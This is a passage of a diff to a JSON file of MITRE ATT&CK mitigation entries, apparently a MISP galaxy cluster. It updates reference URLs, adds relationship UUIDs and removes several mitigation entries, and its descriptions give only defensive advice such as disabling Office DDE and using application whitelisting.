"https://sensepost.com/blog/2017/outlook-forms-and-shells/", - "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/" - ] - }, - "related": [ - { - "dest-uuid": "2c4d4e92-0ccf-4a97-b54c-86d662988a53", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea", - "value": "Office Application Startup Mitigation - T1137" - }, { "description": "Registry keys specific to Microsoft Office feature control security can be set to disable automatic DDE/OLE execution. (Citation: Microsoft DDE Advisory Nov 2017) (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: GitHub Disable DDEAUTO Oct 2017) Microsoft also created, and enabled by default, Registry keys to completely disable DDE execution in Word and Excel. (Citation: Microsoft ADV170021 Dec 2017)\n\nEnsure Protected View is enabled (Citation: Microsoft Protected View) and consider disabling embedded files in Office programs, such as OneNote, not enrolled in Protected View. (Citation: Enigma Reviving DDE Jan 2018) (Citation: GitHub Disable DDEAUTO Oct 2017)\n\nOn Windows 10, enable Attack Surface Reduction (ASR) rules to prevent DDE attacks and spawning of child processes from Office programs. (Citation: Microsoft ASR Nov 2017) (Citation: Enigma Reviving DDE Jan 2018)", "meta": { @@ -3141,6 +3747,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "3e7018e9-7389-48e7-9208-0bdbcbba9483", @@ -3195,7 +3808,7 @@ "https://attack.mitre.org/mitigations/T1195", "https://www.mitre.org/sites/default/files/publications/se-guide-book-interactive.pdf", "http://dx.doi.org/10.6028/NIST.IR.7622", - "https://www.owasp.org/images/7/72/OWASP_Top_10-2017_%28en%29.pdf.pdf" + "https://owasp.org/www-project-top-ten/OWASP_Top_Ten_2017/" ] }, "related": [ @@ -3235,7 +3848,7 @@ "meta": { "external_id": "T1168", "refs": [ - "https://attack.mitre.org/techniques/T1168" + "https://attack.mitre.org/mitigations/T1168" ] }, "related": [ @@ -3258,7 +3871,7 @@ "https://attack.mitre.org/mitigations/T1196", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "https://msdn.microsoft.com/library/windows/desktop/dn742497.aspx" ] }, @@ -3274,26 +3887,6 @@ "uuid": "3a41b366-cfd6-4af2-a6e7-3c6e3c4ebcef", "value": "Control Panel Items Mitigation - T1196" }, - { - "description": "This type of technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior.", - "meta": { - "external_id": "T1222", - "refs": [ - "https://attack.mitre.org/mitigations/T1222" - ] - }, - "related": [ - { - "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "a222db25-cafb-44b1-a64a-20eab050514c", - "value": "File Permissions Modification Mitigation - T1222" - }, { "description": "Consider blocking download/transfer and execution of potentially uncommon file types known to be used in adversary campaigns, such as CHM files. (Citation: PaloAlto Preventing Opportunistic Attacks Apr 2016) Also consider using application whitelisting to prevent execution of hh.exe if it is not required for a given system or network to prevent potential misuse by adversaries.", "meta": { @@ -3376,6 +3969,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "3bd2cf87-1ceb-4317-9aee-3e7dc713261b", @@ -3433,7 +4033,7 @@ "https://attack.mitre.org/mitigations/T1494", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3552,6 +4152,132 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "a6937325-9321-4e2e-bb2b-3ed2d40b2a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2b742742-28c3-4e1b-bab7-8350d6300fa7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f6ad61ee-65f3-4bd0-a3f5-2f0accb36317", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "40597f16-0963-4249-bf4c-ac93b7fb9807", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "86a96bf6-cf8b-411c-aaeb-8959944d64f7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf1b6176-597c-4600-bfcd-ac989670f96b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "21da4fd4-27ad-4e9c-b93d-0b9b14d02c96", @@ -3618,31 +4344,6 @@ "uuid": "7a14d974-f3d9-4e4e-9b7d-980385762908", "value": "DLL Side-Loading Mitigation - T1073" }, - { - "description": "Audit and/or block command-line interpreters by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", - "meta": { - "external_id": "T1059", - "refs": [ - "https://attack.mitre.org/mitigations/T1059", - "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", - "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", - "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", - "https://technet.microsoft.com/en-us/library/ee791851.aspx" - ] - }, - "related": [ - { - "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "f28a20fd-d173-4603-807e-2cb3f51bdf04", - "value": "Command-Line Interface Mitigation - T1059" - }, { "description": "Holding the Shift key while logging in prevents apps from opening automatically (Citation: Re-Open windows on Mac). This feature can be disabled entirely with the following terminal command: defaults write -g ApplePersistence -bool no.", "meta": { @@ -3732,26 +4433,6 @@ "uuid": "7a4d0054-53cd-476f-88af-955dddc80ee0", "value": "Drive-by Compromise Mitigation - T1189" }, - { - "description": "Mitigation of this technique with preventative controls may impact the adversary's decision process depending on what they're looking for, how they use the information, and what their objectives are. Since it may be difficult to mitigate all aspects of information that could be gathered, efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior if compromised.", - "meta": { - "external_id": "T1497", - "refs": [ - "https://attack.mitre.org/mitigations/T1497" - ] - }, - "related": [ - { - "dest-uuid": "82caa33e-d11a-433a-94ea-9b5a5fbef81d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "c4585911-6ecf-47b6-aa6b-a2bae30fd3f7", - "value": "Virtualization/Sandbox Evasion Mitigation - T1497" - }, { "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { @@ -3802,7 +4483,7 @@ "https://attack.mitre.org/mitigations/T1020", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3848,7 +4529,7 @@ "https://attack.mitre.org/mitigations/T1002", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3875,7 +4556,7 @@ "https://technet.microsoft.com/en-us/library/dn408187.aspx", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx", "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard", @@ -3925,7 +4606,7 @@ "https://attack.mitre.org/mitigations/T1040", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3950,7 +4631,7 @@ "https://attack.mitre.org/mitigations/T1050", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -3996,7 +4677,7 @@ "https://attack.mitre.org/mitigations/T1009", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -4013,27 +4694,6 @@ "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332", "value": "Binary Padding Mitigation - T1009" }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "meta": { - "external_id": "T1090", - "refs": [ - "https://attack.mitre.org/mitigations/T1090", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "related": [ - { - "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8", - "value": "Connection Proxy Mitigation - T1090" - }, { "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.", "meta": { @@ -4127,7 +4787,7 @@ "https://attack.mitre.org/mitigations/T1012", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -4144,26 +4804,6 @@ "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b", "value": "Query Registry Mitigation - T1012" }, - { - "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.", - "meta": { - "external_id": "T1021", - "refs": [ - "https://attack.mitre.org/mitigations/T1021" - ] - }, - "related": [ - { - "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173", - "value": "Remote Services Mitigation - T1021" - }, { "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { @@ -4234,7 +4874,7 @@ "https://attack.mitre.org/mitigations/T1103", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -4453,6 +5093,216 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "118f61a5-eb3e-4fb6-931f-2096647f4ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ef67e13e-5598-4adc-bdb2-998225874fa9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf90d72c-c00b-45e3-b3aa-68560560d4c5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7bd9c723-2f78-4309-82c5-47cad406572b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b18eae87-b469-4e14-b454-b171b416bc18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f7827069-0bf2-4764-af4f-23fae0d181b7", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "be055942-6e63-49d7-9fa1-9cb7d8a8f3f4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9c99724c-a483-4d60-ad9d-7f004e42e8e8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f6dacc85-b37d-458e-b58d-74fc4bbf5755", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "69b8fd78-40e8-4600-ae4d-662c9d7afdb3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "04fd5427-79c7-44ea-ae13-11b24778ff1c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d467bc38-284b-4a00-96ac-125f447799fc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f7c0689c-4dbd-489b-81be-7cb7c7079ade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eec23884-3fa1-4d8a-ac50-6f104d51e235", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c325b232-d5bc-4dde-a3ec-71f3db9e8adc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "79a4052e-1a89-4b09-aea6-51f1d11fe19c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb8d023d-45be-47e9-bc51-f56bcae6435b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9a60a291-8960-4387-8a4a-2ab5c18bb50b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1996eef1-ced3-4d7f-bf94-33298cabbf72", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b8902400-e6c5-4ba2-95aa-2d35b442b118", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "24bfaeba-cb0d-4525-b3dc-507c77ecec41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf176076-b789-408e-8cba-7275e81c0ada", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "12241367-a8b7-49b4-b86e-2236901ba50c", @@ -4557,6 +5407,118 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f005e783-57d4-4837-88ad-dbe7faee1c51", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1e9eb839-294b-48cc-b0d3-c45555a2a004", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b4694861-542c-48ea-9eb1-10d356e7140a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d273434a-448e-4598-8e14-607f4a0d5e27", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f2877f7f-9a4c-4251-879f-1224e3006bee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d0613359-5781-4fd2-b5be-c269270be1f6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "feff9142-e8c2-46f4-842b-bd6fb3d41157", @@ -4605,6 +5567,62 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "7b211ac6-c815-4189-93a9-ab415deca926", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b7dc639b-24cd-482d-a7f1-8897eda21023", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f303a39a-6255-4b89-aecc-18c4d8ca7163", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "768dce68-8d0d-477a-b01d-0eea98b963a1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3fc01293-ef5e-41c6-86ce-61f10706b64a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6add2ab5-2711-4e9d-87c8-7a0be8531530", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "8d7bd4f5-3a89-4453-9c82-2c8894d5655e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "e3388c78-2a8d-47c2-8422-c1398b324462", @@ -4620,7 +5638,7 @@ "https://technet.microsoft.com/en-us/library/cc731150.aspx", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -4714,6 +5732,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "8faedf87-dceb-4c35-b2a2-7286f59a3bc3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "402e92cd-5608-4f4b-9a34-a2c962e4bcd7", @@ -4727,7 +5752,7 @@ "https://attack.mitre.org/mitigations/T1107", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -4739,6 +5764,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" 